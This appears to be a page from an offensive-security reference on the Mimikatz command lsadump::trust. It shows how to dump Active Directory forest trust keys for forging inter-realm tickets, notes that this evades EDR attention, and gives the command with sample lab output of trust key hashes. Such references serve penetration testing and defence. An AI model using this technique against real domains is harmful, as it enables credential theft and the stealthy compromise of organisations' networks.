trust
lsadump::trust can be used for dumping the forest trust keys. Forest trust keys can be leveraged for forging inter-realm trust tickets. Since most of the EDRs are paying attention to the KRBTGT hash, this is a stealthy way to compromise forest trusts.
This command requires elevated privileges (by previously running privilege::debug or by executing Mimikatz as the NT-AUTHORITY\SYSTEM account).
1
mimikatz # lsadump::trust /patch
2
​
3
Current domain: CORP.LAB.LOCAL (corp / S-1-5-21-1874506631-3219952063-538504511)
4
​
5
Domain: EXTERNAL.LOCAL (external / S-1-5-21-280534878-1496970234-700767426)
6
[ In ] CORP.LAB.LOCAL -> EXTERNAL.LOCAL
7
* aes256_hmac 6994cc6cd1b99bd3869685d14af347e955e9e043f2116ca1665f371efe48fab6
8
* aes128_hmac feeeb865b37c281b21cfa00aee1da71b
9
* rc4_hmac_nt 6f9e27669d07b6c7f539c5f6e7fd9f57
10
​
11
[ Out ] EXTERNAL.LOCAL -> CORP.LAB.LOCAL
12
* aes256_hmac f3417d40bb3e6f2c585e0cb00cf36444b6ebf293407103ca25d8b0650219d82d
13
* aes128_hmac 8687ec2ba8ec3e8d8c6e89e94b87792c
14
* rc4_hmac_nt d3b3645b2c8efd19794dfae2dfa6946e
15
​
16
[ In-1] CORP.LAB.LOCAL -> EXTERNAL.LOCAL
17
* aes256_hmac cec1143242386747b41ea21b071bfa2b211c184699c57cc69bd3f43da57bfef6
18
* aes128_hmac 8668ebdcb5b9349b6c279ca9cd421a60
19
* rc4_hmac_nt 4a49505568b59490b41724ce676978e5
20
​
21
[Out-1] EXTERNAL.LOCAL -> CORP.LAB.LOCAL
22
* aes256_hmac 9304fef5575424542d1c6cdda1920927cb55df8c203079b51e4e2cfc1cab0d4b
23
* aes128_hmac 4cc55daa23d585257ab877914ea42968
24
* rc4_hmac_nt a2639f30fa151b45696631b80f57f4e6
Copied!
Last modified 6mo ago
Copy link